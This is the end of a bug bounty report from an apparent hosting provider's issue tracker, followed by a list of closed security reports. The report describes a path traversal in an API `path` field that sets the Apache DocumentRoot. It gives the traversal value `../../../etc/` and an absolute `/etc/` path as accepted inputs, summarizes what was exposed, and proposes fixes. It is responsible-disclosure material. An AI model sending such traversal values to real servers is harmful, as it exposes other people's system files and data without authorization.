The `path` field is concatenated with the account's home directory to form the Apache `DocumentRoot`. When the user provides `../../../etc/`, the resulting DocumentRoot becomes `/home/subhash/../../../etc/` which resolves to `/etc/`.
The backend does not: - Normalize the path (resolve `..` sequences) - Reject paths containing `..` - Verify the resulting absolute path stays within `/home/{account}/` - Reject absolute paths (`"path": "/etc/"` was also accepted)
## Why This Is a Separate Bug from FS#347
Aspect FS#347 (vhost_additional_directives) This bug (path field) βββ βββββββββββββ βββββββ- API field `vhost_additional_directives` `path` Mechanism Apache `Alias` directive injection Document root traversal Fix scope Directive validation/allowlist Path normalization Independence Fixing `path` does not fix FS#347 Fixing directives does not fix this Complexity Requires Apache directive syntax knowledge Single field change β `../../../etc/` ## Impact
An authenticated user can read any file accessible to `www-data` on the shared hosting server by traversing the `path` field. The demonstrated reads expose:
1. Core platform architecture β internal DNS infrastructure, storage topology (NAS-mounted `/home`), partition layout, security hardening measures 2. Service inventory β dnsdist, munin, MariaDB, OpenSSH versions and configurations 3. Internal network β datacenter domain (`paris1.alwaysdata.com`), internal IPv6 DNS server address 4. Database config β MariaDB socket paths and configuration directory structure
This maps directly to the bounty program's High tier: "Accessing customer data/information."
## Suggested Fix
1. Reject `..` in the path: Any path containing `..` (or URL-encoded `%2e%2e`) should be rejected 2. Reject absolute paths: Paths starting with `/` should be rejected 3. Normalize and verify: After normalizing, verify the resulting absolute path starts with `/home/{account}/` 4. Use `realpath()` on the server side: Resolve the path and confirm it stays within the account boundary
Thanks
|
|
391 | Dangerous PHP INI Injection via Site API β `allow_url_i ... | Closed | 13.07.2026 | |
|
390 | Environment Variable Injection β LD_PRELOAD and PATH Ac ... | Closed | 13.07.2026 | |
|
389 | Cross-Tenant Session Token Theft via Shared /tmp β Acco ... | Closed | 13.07.2026 | |
|
388 | Privilege Escalation β Free-Tier User Sets Reseller-Lev ... | Closed | 13.07.2026 | |
|
375 | Cross-Site Request Forgery (CSRF) Allows Restart of An ... | Closed | 13.07.2026 | |
|
371 | attacker test | Closed | 12.07.2026 | |
|
368 | test | Closed | 11.07.2026 | |
|
367 | Root Privilege Escalation via Sudo Option Injection | Closed | 10.07.2026 | |
|
366 | Broken Access Control β Revoked User Can Access Histori ... | Closed | 09.07.2026 | |
|
365 | Cross-Site Request Forgery (CSRF) in Notification "Seen ... | Closed | 03.07.2026 | |
|
364 | Bug bounty β cross-tenant /tmp disclosure (FS#363) umas ... | Closed | 02.07.2026 | |
|
363 | Cross-tenant file disclosure via world-readable shared ... | Closed | 02.07.2026 | |
|
362 | Email Verification Bypass via Google OAuth Account Link ... | Closed | 02.07.2026 | |
|
361 | Broken Access Control / Improper Authorization | Closed | 02.07.2026 | |
|
360 | User Enumeration via Password Reset Functionality | Closed | 02.07.2026 | |
|
359 | DNSSEC Misconfiguration | Closed | 02.07.2026 | |
|
358 | Inadequate Concurrent Sessions | Closed | 02.07.2026 | |
|
357 | Bug Bounty Report : MTA-STS Missing | Closed | 02.07.2026 | |
|
356 | Outdated Exim SMTP Server (Version 4.96) Potentially A ... | Closed | 02.07.2026 | |
|
355 | LaTeX Injection via Billing Invoice Annotation | Closed | 06.07.2026 | |
|
350 | OAuth State Cookie Unbounded Growth (Authentication DoS ... | Closed | 02.07.2026 | |
|
349 | Reseller-Level Permission Flags Accessible to Regular C ... | Closed | 25.06.2026 | |
|
348 | Subdomain Squatting on alwaysdata.net Platform Namespac ... | Closed | 25.06.2026 | |
|
347 | Unrestricted Apache Directive Injection Leading to Remo ... | Closed | 25.06.2026 | |
|
346 | Title : Mailman User Account Takeover Due to Inconsiste ... | Closed | 02.07.2026 | |